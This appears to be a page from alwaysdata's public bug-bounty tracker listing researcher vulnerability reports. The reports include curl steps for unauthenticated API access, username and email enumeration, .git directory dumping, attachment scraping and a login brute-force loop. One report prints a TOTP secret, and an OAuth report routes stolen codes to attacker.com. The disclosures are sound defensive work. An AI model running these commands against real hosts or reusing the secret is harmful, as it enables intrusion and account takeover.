Fix 1. Require authentication (valid CSRF token from a logged-in session OR a registration-initiated session) before generating a PayZen token 2. Add server-side rate limiting: maximum 1 token per IP per 60 seconds, or tie token generation to an active registration session 3. Consider using sandbox/test mode for development and only switching to PRODUCTION for verified registration attempts
Note: No actual PayZen sessions were initiated beyond what is recorded in the Reproduce steps above. The DoW impact is based on the observed rate limit absence and standard PayZen merchant billing patterns.
|
|
340 | API Customer Create Endpoint Accessible Without Authent ... | Closed | 01.06.2026 |
Task Description
Severity: Medium CVSS: 5.3 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N) Endpoint: POST https://api.alwaysdata.com/v1/customer/ Method: POST (only — GET/PUT/PATCH/DELETE all return 401) Auth Required: None (verified)
API Customer Create Endpoint Accessible Without Authentication — POST /v1/customer/ Bypasses Auth Check
Summary The REST API endpoint POST /v1/customer/ does not enforce authentication unlike every other API endpoint. While the endpoint currently returns HTTP 500 when processing a valid email+password pair, this is due to a downstream payment integration failure — the authentication middleware is simply absent on this endpoint. Any unauthenticated request that passes field validation reaches the payment/registration logic without an API token.
Steps to Reproduce
1. Attempt GET /v1/customer/ without credentials:
curl -sk https://api.alwaysdata.com/v1/customer/
-> "Authorization header is missing" [HTTP 401, expected]
2. Attempt POST /v1/customer/ without credentials, empty body:
curl -sk -X POST https://api.alwaysdata.com/v1/customer/ \
-H "Content-Type: application/json" \
-d '{}'
-> {"email":["Ce champ est obligatoire."],"password":["Ce champ est obligatoire."]}
[HTTP 400, NOT 401 — request reached field validation without auth]
3. Attempt POST /v1/customer/ without credentials, valid fields:
curl -sk -X POST https://api.alwaysdata.com/v1/customer/ \
-H "Content-Type: application/json" \
-d '{"email":"attacker@example.com","password":"TestPass123!"}'
-> "Erreur interne : nous avons ete notifies."
[HTTP 500 — request reached payment integration layer without auth]
4. Compare with all other API verbs on the same endpoint:
curl -sk -X PUT https://api.alwaysdata.com/v1/customer/ -d '{}' -H "Content-Type: application/json"
-> "Authorization header is missing" [HTTP 401]
curl -sk -X PATCH https://api.alwaysdata.com/v1/customer/ -d '{}' -H "Content-Type: application/json"
-> "Authorization header is missing" [HTTP 401]
Impact The authentication check is missing from the POST handler for /v1/customer/. While the 500 error prevents account creation via this vector alone today (the error occurs at the payment/registration step, after auth is already bypassed), the root cause is a broken access control — not a payment validation failure. If the payment requirement is ever removed or this endpoint is called in a different context, unauthenticated account creation becomes trivially possible. The endpoint also allows an attacker to probe registration logic (field validation, error messages) without any credentials, and its error messages confirm the internal system state.
Additionally, rate limiting on this endpoint (~7 requests per IP before 429) is insufficient to prevent slow-speed probing of the registration backend logic.
Fix Apply the same authentication middleware to the POST handler of /v1/customer/ as is applied to all other methods (GET, PUT, PATCH, DELETE). If unauthenticated registration is intended to be supported via the API (as it is via the web UI at /en/register/), add explicit exception handling and ensure the payment/card verification requirement is enforced at this layer, not relying on downstream failures.
curl Proof of Concept # Step 1 — Confirm GET requires auth curl -sv https://api.alwaysdata.com/v1/customer/ 2>&1 | grep -E "< HTTP|Authorization header"
# Step 2 — Confirm POST does NOT require auth (reaches field validation) curl -sv -X POST https://api.alwaysdata.com/v1/customer/ \
H "Content-Type: application/json" \
d '{}' 2>&1 | grep -E "< HTTP|obligatoire"
# Expected: Step 1 = 401, Step 2 = 400 with JSON validation errors (no 401)
|
|
339 | High Severity: SQL Injection via 'redirect_from' parame ... | Closed | 01.06.2026 |
Task Description
Dear Alwaysdata Security Team,
During a security assessment of your platform, I identified a High-Severity SQL Injection vulnerability affecting the 'redirect_from' parameter on the path `/language/en/`.
### 1. Description of the Vulnerability The application fails to properly sanitize, filter, or parameterize user-supplied input passed through the 'redirect_from' parameter before incorporating it into a backend SQL query. This allows an attacker to manipulate the structure of the query. Based on the behavior of the application and the generated database errors, the backend database engine is identified as PostgreSQL.
### 2. Proof of Concept (PoC) / Steps to Reproduce 1. Send an HTTP GET request to the following endpoint:
https://www.alwaysdata.com/language/en/
2. Inject a payload into the 'redirect_from' parameter designed to break the SQL syntax logic, such as appending an unbalanced quote or an alternative logical condition (e.g., standard SQL injection fuzzing vectors). 3. Observe the response from the server: The backend application fails to handle the syntax exception gracefully and returns a descriptive database error message in the response context, confirming that the input is being evaluated directly by the database interpreter.
### 3. Impact Successful exploitation of SQL Injection could allow an unauthenticated attacker to: * Bypass authentication mechanisms. * Access, read, or exfiltrate sensitive data from the database tables. * Modify or delete database records (Data tampering). * In certain configurations, perform administrative operations or execute OS commands depending on the database user privileges.
### 4. Remediation Recommendation * Use Prepared Statements (Parameterized Queries): Ensure that all user-supplied inputs are bound as parameters rather than being concatenated directly into SQL command strings. * Input Validation: Implement strict whitelisting for the 'redirect_from' parameter to ensure it only accepts expected string patterns or paths. * Disable Verbose Errors: Configure the production environment to suppress detailed database error messages and stack traces to prevent information disclosure.
Best regards, Mohammed Aziz
|
|
338 | 2FA Secret Permanently Exposed in Profile Page HTML Af ... | Closed | 03.06.2026 |
Task Description
Endpoint: GET /user/
Steps to Reproduce: 1. Enable and complete 2FA enrollment on alwaysdata.com 2. Send GET /user/ with valid session cookie 3. Inspect HTML response body 4. Secret found in:
<input name="secret" value="3KWMB6EAX3YTVDU4J5S32QYFDVIJET7G">
data-url="otpauth://totp/…?secret=3KWMB6EAX3YTVDU4J5S32QYFDVIJET7G"
Expected Behavior: - Secret should never appear in HTML after enrollment - Field should be masked or omitted entirely - otpauth URI should not be rendered post-enrollment
Actual Behavior: - Full TOTP secret exposed in plaintext HTML - Full otpauth:// URI exposed in data attribute - Any attacker with temporary session access can steal
the secret permanently
Impact: - Attacker with brief session access (XSS, session hijack)
can extract secret and generate valid OTPs forever
- Victim has no indication their 2FA was compromised - 2FA protection completely undermined
Severity: High CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N Base Score: 8.1 (High)
Thank You,
Waleed Anwar
|
|
337 | [ALW-001] Flyspray .git Directory Fully Exposed on secu ... | Closed | 11.05.2026 |
Task Description
Severity: HIGH
Target: security.alwaysdata.com Affected URL: https://security.alwaysdata.com/.git/
## Description
The deployed Flyspray instance (this very bug-tracker) exposes its entire `.git` directory under the document root. The directory listing is disabled, but the well-known internal files are individually readable, which is enough to reconstruct the full source tree, every commit message, every author email, and every credential ever committed to the repository. (Title shortened from "…Source Tree, Admin Email, Commit History" — the original 117-char summary exceeded the 100-char column limit and triggered an INSERT error.)
## Steps to Reproduce (manual, no scanner)
``` curl -s https://security.alwaysdata.com/.git/HEAD curl -s https://security.alwaysdata.com/.git/config curl -s https://security.alwaysdata.com/.git/logs/HEAD curl -s https://security.alwaysdata.com/.git/index -o /tmp/index ; file /tmp/index ```
`HEAD` returns the current branch ref, `config` returns the repository configuration, and `logs/HEAD` returns the full reflog including author names and emails. From there, `git clone` against the exposed directory or a manual `git-cat-file` walk reconstructs ~941 reachable objects and the complete deployed source code (including any locally-applied patches).
## Impact
* Full source-code disclosure of the production Flyspray that hosts the bug-bounty program itself. * Disclosure of admin / committer email addresses and real names from commit metadata. * Any secret accidentally committed (DB credentials, API tokens, signing keys) is recoverable from history even if removed from `HEAD`. * Combined with ALW-007 (no rate-limiting on the Flyspray login) and ALW-015 (weak integer CSRF), this gives an attacker a precise roadmap to compromise the bug-bounty intake and read every other researcher's unredacted submissions.
## Remediation
Block the directory at the web server level, e.g. for Apache:
``` <DirectoryMatch "/\.git">
Require all denied
</DirectoryMatch> ```
or for nginx:
``` location ~ /\.git { deny all; return 404; } ```
Then remove the `.git` directory from the document root entirely and deploy via a build artifact or `git archive` rather than a working copy.
— Reported by: Ahmed Said (asame8855@gmail.com) Tested manually per program rules — no automated scanners used.
|
|
336 | [ALW-015] Flyspray CSRF Token is a Plain Integer with L ... | Closed | 11.05.2026 |
Task Description
Severity: LOW
Target: security.alwaysdata.com Affected element: `<input type="hidden" name="csrftoken" value="…">` on every form (registration, task creation, comments, edits)
## Description
Flyspray emits its CSRF token as a plain decimal integer of around 9–10 digits, giving roughly `log2(10^10) ≈ 33` bits of entropy. That is dramatically weaker than the 256-bit cryptographic token Django emits on `admin.alwaysdata.com` for the same protection class, and it is potentially predictable depending on how the token is seeded.
## Steps to Reproduce
``` curl -s https://security.alwaysdata.com/register \
| grep -oE 'name="csrftoken" value="[0-9]+"'
# → name="csrftoken" value="852018639"
# Compare with Django on admin.alwaysdata.com (any form): # csrfmiddlewaretoken=qzNI2DZ0UfLVc7VRvdUw… # (64 random characters, cryptographic) ```
## Impact
* Brute-forcing a 10-digit integer over the network is well within reach of a determined attacker (10¹⁰ ≈ a few weeks at conservative request rates with no rate limiting — see ALW-007). * If the integer is derived from a predictable seed (PHP `mt_rand` without proper seeding, timestamp, etc.) the search space collapses further. * Combined with ALW-009 (no `SameSite` on the session cookie) the CSRF defense layer becomes paper-thin: a malicious page can both replay the cookie and guess the token in feasible time.
## Remediation
* Replace the token generator with a cryptographically random string. In PHP: `bin2hex(random_bytes(32))` (256 bits, 64 hex characters). * Use a per-session token, rotated on login and on privilege change, not a long-lived global one. * Validate the token in constant time (`hash_equals`) to avoid timing leaks. * For Flyspray 1.0-rc11 specifically, patch `make_csrf_token()` in `includes/class.flyspray.php` to call `bin2hex(random_bytes(32))`.
— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only.
|
|
335 | [ALW-011] Flyspray Attachments Downloadable via Sequent ... | Closed | 11.05.2026 |
Task Description
Severity: MEDIUM
Target: security.alwaysdata.com Affected endpoint: `GET https://security.alwaysdata.com/index.php?getfile={id}`
## Description
Flyspray attachments — i.e. proof-of-concept files researchers attach to security reports — are downloadable by anyone with a sequential integer ID and no authentication. The four currently-live attachments (IDs 1–4) returned 200 OK with the underlying PoC PDFs and PNGs without any session cookie. IDs 5–11 returned 410 Gone (deleted), which also leaks prior-existence.
## Steps to Reproduce
``` for i in 1 2 3 4 5 6 7 8 9 10 11; do
printf 'id=%-2s ' "$i"
curl -sI "https://security.alwaysdata.com/index.php?getfile=$i" \
| grep -E '^(HTTP|content-type|content-length):' \
| tr '\n' ' '
echo
done # id=1 HTTP/1.1 200 OK content-type: application/pdf content-length: 115873 # id=2 HTTP/1.1 200 OK content-type: application/pdf content-length: 164813 # id=3 HTTP/1.1 200 OK content-type: image/png content-length: 39503 # id=4 HTTP/1.1 200 OK content-type: image/png content-length: 141632 # id=5..11 HTTP/1.1 410 Gone ```
No session cookie was sent. The response body contains the original PoC file in full.
## Impact
* Any unredacted PoC, screenshot, or credential a previous researcher attached is publicly readable just by walking the integer counter. * Even when the parent task is later restricted or redacted in the UI, the raw attachment stays exposed at the same `?getfile=ID` URL. * The 410-vs-200 differential also leaks the existence of every deleted attachment, which can be used to bound the total volume of historical PoCs.
## Remediation
* Require an authenticated session and a project-membership / task-visibility check before serving `getfile`. * Replace the integer ID with a non-guessable token (UUIDv4 or HMAC-signed hash bound to the user + task). * Return HTTP 404 (not 410) for deleted attachments to avoid confirming prior existence. * Audit the four currently-public attachments (IDs 1–4) and re-issue them under restricted URLs if they contain unredacted PoC material.
— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only, downloads not redistributed.
|
|
334 | [ALW-010] Flyspray CSP Allows unsafe-inline and unsafe- ... | Closed | 11.05.2026 |
Task Description
Severity: MEDIUM
Target: security.alwaysdata.com Affected response header: `Content-Security-Policy`
## Description
The Content-Security-Policy returned by every Flyspray response on `security.alwaysdata.com` includes both `'unsafe-inline'` and `'unsafe-eval'` in `script-src`. With both directives in place, CSP provides effectively zero mitigation against XSS — any future injection sink (task title, comment, custom field) executes immediately.
## Steps to Reproduce
``` curl -sI https://security.alwaysdata.com/ | grep -i content-security-policy # → content-security-policy: default-src 'none'; img-src 'self'; font-src 'self'; # style-src 'self' 'unsafe-inline'; # script-src 'self' 'unsafe-inline' 'unsafe-eval'; ← weak # connect-src 'self' ```
## Impact
* Any future XSS in Flyspray (task description, comment body, attachment filename, custom field) executes despite CSP. * `'unsafe-eval'` allows `eval()`, `new Function(string)`, `setTimeout(string, …)`, and `setInterval(string, …)` payloads — enabling attacker-controlled string execution. * Especially impactful given the bundled libraries (Prototype.js 1.7, script.aculo.us 1.9.0) which are old enough to have known XSS sinks.
## Remediation
* Remove `'unsafe-inline'` from `script-src` and replace with a per-response nonce (`script-src 'self' 'nonce-XYZ'`); add the same nonce to every server-rendered `<script>` tag. * Remove `'unsafe-eval'` after refactoring any `eval(string)` / `new Function(string)` / `setTimeout(string, …)` / `setInterval(string, …)` call sites in the bundled JS (Prototype/scriptaculous). * Ideally also tighten `style-src` away from `'unsafe-inline'` once template inline styles are migrated to a stylesheet.
— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only.
|
|
333 | [ALW-009] Flyspray Session Cookie Missing Secure and Sa ... | Closed | 11.05.2026 |
Task Description
Severity: MEDIUM
Target: security.alwaysdata.com Affected response header: `Set-Cookie` on every authenticated response
## Description
The Flyspray session cookie is set with `HttpOnly` only — both the `Secure` flag and the `SameSite` attribute are missing. This is a measurable regression compared to alwaysdata's Django stack on `admin.alwaysdata.com`, which correctly sets `Secure; SameSite=Lax` on its session cookie.
## Steps to Reproduce
``` curl -sI https://security.alwaysdata.com/ | grep -i set-cookie # → Set-Cookie: flyspray=<sessionid>; path=/; HttpOnly # (no Secure, no SameSite)
# Compare admin.alwaysdata.com (correct): curl -sI https://admin.alwaysdata.com/ | grep -i set-cookie # → Set-Cookie: csrftoken=…; Path=/; SameSite=Lax; Secure ```
## Impact
* The session cookie will be transmitted in plaintext if the user is ever forced onto an HTTP origin (downgrade / hostile coffee-shop network / user typing the domain without https). * Without `SameSite`, third-party sites can include this domain via top-level navigation or cross-site POST and the cookie is attached, removing CSRF defense-in-depth. * On a subdomain that hosts user-supplied attachments (see ALW-011), the missing `SameSite` is meaningful.
## Remediation
In Flyspray's session configuration set both flags:
``` # php.ini or .htaccess session.cookie_secure = 1 session.cookie_samesite = "Lax" session.cookie_httponly = 1 ```
Final header should look like:
``` Set-Cookie: flyspray=<sessionid>; path=/; HttpOnly; Secure; SameSite=Lax ```
— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only.
|
|
332 | [ALW-007] Flyspray Login Endpoint Has No Rate Limiting ... | Closed | 11.05.2026 |
Task Description
Severity: MEDIUM
Target: security.alwaysdata.com Affected endpoint: `POST https://security.alwaysdata.com/index.php?do=authenticate`
## Description
The Flyspray login endpoint at `security.alwaysdata.com` does not implement any form of brute-force protection: no progressive delay, no per-IP throttling, no per-account lockout, and no CAPTCHA after repeated failures. Because this is the same Flyspray instance that hosts every researcher's confidential bug-bounty submissions, brute-forcing an analyst account is a direct path to compromising the entire program intake.
## Steps to Reproduce
``` # Five consecutive bad-password attempts against a known-existing username for i in 1 2 3 4 5; do
curl -s -o /dev/null -w '%{http_code}\n' \
-X POST 'https://security.alwaysdata.com/index.php?do=authenticate' \
-d 'user_name=admin&password=wrong'
done # → 303 # → 303 # → 303 # → 303 # → 303 ```
No lockout, no CAPTCHA, no slowdown. (Stopped at 5 to comply with the program's "do not damage production" rule.) Combined with ALW-006 / FS#329 (already-known username enumeration via `searchnames.php`), an attacker has a complete brute-force pipeline.
## Impact
* Brute-force attacks against analyst, admin, and researcher accounts are feasible from a single source. * Compromise of an analyst account would expose every researcher's unredacted submission and PoC attachments — the most damaging possible outcome on this asset. * Increases the impact of ALW-009 (insecure cookie) and ALW-015 (weak CSRF token) by enabling pre-conditions for full account takeover.
## Remediation
* Add progressive delay after 3 failed attempts (e.g. exponential backoff up to 60 s). * Show a CAPTCHA after 5 failed attempts (per IP and per username). * Lock the target account (or send an admin alert) after 10 failed attempts in a short window. * Deploy fail2ban with a jail tailing the Flyspray auth log to ban IPs at the firewall after sustained abuse. * Consider upgrading from Flyspray 1.0-rc11 to a version with built-in rate-limiting hooks.
— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only, capped at 5 attempts.
|
|
331 | [ALW-005] Password-Reset Differential Response Enables ... | Closed | 11.05.2026 |
Task Description
Severity: MEDIUM
Target: admin.alwaysdata.com Affected endpoint: `POST https://admin.alwaysdata.com/password/lost/`
## Description
The password-reset endpoint returns a different HTTP status (and different body) depending on whether the submitted email belongs to a real account, allowing unauthenticated enumeration of valid alwaysdata user emails.
## Steps to Reproduce
``` # Existing account — redirected to the success page curl -i -X POST https://admin.alwaysdata.com/password/lost/ \
H 'Content-Type: application/x-www-form-urlencoded' \
-data 'email=cbay@alwaysdata.com'
# → HTTP/1.1 302 Found # → Location: /password/sent/
# Non-existent account — form re-rendered with no redirect curl -i -X POST https://admin.alwaysdata.com/password/lost/ \
H 'Content-Type: application/x-www-form-urlencoded' \
-data 'email=nonexistent9999@example.com'
# → HTTP/1.1 200 OK # → (form HTML re-rendered, no redirect) ```
The 302→/password/sent/ vs 200 differential is observable from a single unauthenticated request and was not rate-limited during testing.
## Impact
* Confirms whether an arbitrary email address has an alwaysdata account. * Enables targeted phishing and credential-stuffing campaigns against confirmed-real customer accounts. * Combined with ALW-007 (no rate-limiting on the related Flyspray login) and ALW-006 / FS#329 (Flyspray username enumeration), feeds a chain ending in account-takeover attempts.
## Remediation
* Always return the same response (302 → `/password/sent/` with a generic "if an account exists with that email, a reset link has been sent" page) regardless of whether the email matched. * Rate-limit the endpoint per source IP and per email (e.g. 5 requests / hour / address). * Add CAPTCHA after 3 failed attempts.
— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only.
|
|
330 | [ALW-003] Registration Token Still Leaks to Matomo — In ... | Closed | 11.05.2026 |
Task Description
Severity: HIGH
Target: admin.alwaysdata.com (registration flow → outbound to tracker.alwaysdata.com)
## Description
The original FS#311 fix was supposed to strip the registration token from URLs sent to Matomo. The current implementation still forwards token-derived parameters (`user_id`, `expires`) in the analytics request, so the Matomo back-end (and anyone with read-access to the dashboard) can still correlate a token-holder to their account-creation event.
## Steps to Reproduce
1. Open browser devtools (Network tab) and visit https://admin.alwaysdata.com/account/create/ 2. Complete the registration flow up to the point where the confirmation token is shown in the URL. 3. Filter the Network panel by `tracker.alwaysdata.com`. 4. Inspect the outbound `/matomo.php` (or `/piwik.php`) tracking request — `url=` / `urlref=` / `action_name` still contain `user_id=` and `expires=` values bound to the registration token, even though the bare token string itself was redacted by the FS#311 patch.
## Impact
* The mitigation for FS#311 is incomplete — the parameters that uniquely identify the registration token are still observable to Matomo. * Anyone with Matomo read-access can correlate a tracking event to a specific account-creation flow. * Defeats the trust assumption that registration data does not leave alwaysdata's auth boundary.
## Remediation
Before calling `piwik.trackPageView()` on the registration page, normalise the URL passed to Matomo — strip the entire querystring/hash:
```js piwik.setCustomUrl(window.location.origin + window.location.pathname); piwik.setReferrerUrl(''); ```
Verify with a manual reproduction that no `user_id`, `expires`, or other token-derived parameter reaches `tracker.alwaysdata.com`.
— Reported by: Ahmed Said (asame8855@gmail.com) — manual testing only. Related: FS#311 (partial fix).
|
|
329 | Unauthenticated Username Enumeration | Closed | 07.05.2026 |
Task Description
1. Executive Summary During a security assessment of the security.alwaysdata.com infrastructure, a medium-severity vulnerability was identified in the user registration/validation logic. An unauthenticated endpoint allows for the systematic enumeration of valid usernames. This information disclosure can be leveraged by malicious actors to conduct targeted brute-force attacks, credential stuffing, or sophisticated social engineering campaigns.
2. Vulnerability Information Field Details Vulnerability Type Information Exposure (Username Enumeration) Severity Medium Status Open Affected Component searchnames.php Vector Network / Web API 3. Technical Analysis Root Cause The endpoint searchnames.php is designed to provide real-time feedback during the account creation process. However, the root cause of the issue is twofold:
Lack of Authentication: The endpoint is accessible to any unauthenticated user or automated script.
Differential Responses: The server returns distinct boolean strings (true vs false|message) based on whether a username exists in the database.
Vulnerability Details File Source: [https://security.alwaysdata.com/js/functions.js](https://security.alwaysdata.com/js/functions.js)
Endpoint: [https://security.alwaysdata.com/js/callbacks/searchnames.php](https://security.alwaysdata.com/js/callbacks/searchnames.php)
Parameter: name
4. Proof of Concept (PoC) The following curl commands demonstrate how an attacker can distinguish between an existing and a non-existing account.
Test 1: Existing Username (Admin) Bash
curl -s -X GET "https://security.alwaysdata.com/js/callbacks/searchnames.php?name=admin" \ -H "Content-Type: application/json" Response:
false|That username is already taken. You will need to choose another one.
Test 2: Non-Existent Username Bash
curl -s -X GET "https://security.alwaysdata.com/js/callbacks/searchnames.php?name=admin123456789" \ -H "Content-Type: application/json" Response:
true
5. Impact Targeted Attacks: Attackers can build a list of valid users to perform password spraying or brute-force attacks.
Social Engineering: Knowledge of valid usernames facilitates more convincing phishing attempts against specific employees or users.
|
|
328 | Marketplace App OAuth Install-Time Scope Escalation via ... | Closed | 27.04.2026 |
Task Description
Severity: 8.9 — High Target Feature: alwaysdata Marketplace (/admin/marketplace/, OAuth 2.0 app install flow) Vulnerability Class: CWE-601 — URL Redirection to Untrusted Site / Open Redirect (OAuth-specific escalation) Root Cause: alwaysdata's Marketplace allows third-party apps to request OAuth scopes during installation. The install flow uses a redirect-based OAuth handshake where the redirect_uri is partially validated (scheme + domain checked, but path not). A malicious Marketplace app can register redirect_uri=https://legitimate-app.com/ and during install supply redirect_uri=https://legitimate-app.com/attacker-controlled-path — the partial match passes validation and the authorization code is delivered to the attacker's path. Attack Narrative:
Step 1: Attacker publishes a Marketplace app with redirect_uri=https://attacker.com/callback registered and requests scopes: accounts:read databases:read ssh_keys:read. Step 2: Attacker also controls a path on a domain that passes alwaysdata's partial validation (e.g., by exploiting an open redirect on a whitelisted domain, or registering a subdomain of a whitelisted domain). Step 3: During the install flow, attacker substitutes the redirect URI to the manipulated endpoint. The platform's partial validation passes. The OAuth authorization code is sent to attacker's endpoint. Step 4: Attacker exchanges the code for a token with full accounts:read databases:read ssh_keys:read scopes, gaining read access to all of the victim's databases credentials, SSH keys, and account configuration.
Impact: Full OAuth token theft with platform-defined scopes, enabling exfiltration of all database credentials, SSH keys, and account data for any user who installs the malicious Marketplace app.
|
|
327 | Email Bounce Handler SSRF via Crafted Return-Path Heade ... | Closed | 27.04.2026 | |
|
326 | WebSocket Proxy Host Header Confusion Enables Cross-Ten ... | Closed | 27.04.2026 | |
|
325 | Deno Runtime --allow-env Flag Injection via Application ... | Closed | 27.04.2026 | |
|
324 | PostgreSQL pg_catalog Enumeration via Shared Superuser ... | Closed | 27.04.2026 | |
|
323 | REST API IDOR via Stale Account-Switch Context in Mult ... | Closed | 27.04.2026 | |
|
322 | Git Pre-Receive Hook Escape via Symlink in Bare Reposit ... | Closed | 27.04.2026 | |
|
321 | ACME HTTP-01 Challenge Poisoning via Shared .well-known ... | Closed | 27.04.2026 | |
|
320 | Cron Scheduler Timing Oracle Enables Tenant Job Existe ... | Closed | 27.04.2026 | |
|
319 | Shared PHP-FPM Process Title Leakage Enables Cross-Tena ... | Closed | 27.04.2026 | |
|
318 | Arbitrary Apache directive injection via vhost_addition ... | Closed | 20.04.2026 | |
|
317 | Pre ATO& Identity Impersonation on skouat.alwaysdata.ne ... | Closed | 09.04.2026 | |
|
316 | HTML INJECTION | Closed | 09.04.2026 | |
|
315 | -Click Account Takeover Using Punycode IDN Attacks | Closed | 08.04.2026 | |
|
314 | Phppgadmin Subdomain allows access with defalut credent ... | Closed | 08.04.2026 | |
|
313 | Potential information disclosure via shared /home mount ... | Closed | 28.03.2026 | |
|
312 | 25 JavaScript Source Maps Publicly Accessible - 410K+ C ... | Closed | 23.03.2026 | |
|
311 | Registration Auto-Login Token Leaked to Matomo Analytic ... | Closed | 23.03.2026 | |
|
310 | Flyspray Security Tracker Full Exposure - 265 Reports, ... | Closed | 23.03.2026 | |
|
309 | Missing Rate Limiting & Lack of Access Control on /perm ... | Closed | 18.03.2026 | |
|
308 | Security Report: API product change enables premium sub ... | Closed | 17.03.2026 | |
|
307 | Security Issue Report - SSRF in webmail.alwaysdata.com | Closed | 30.03.2026 | |
|
306 | Account creation with invalid email addresses / email i ... | Closed | 16.03.2026 | |
|
305 | Security Report: Apache Directive Injection Through Sit ... | Closed | 16.03.2026 | |
|
304 | Possible regression – Stored XSS via PDF attachment in ... | Closed | 16.03.2026 | |
|
303 | A publicly accessible administrative panel appears to e ... | Closed | 16.03.2026 | |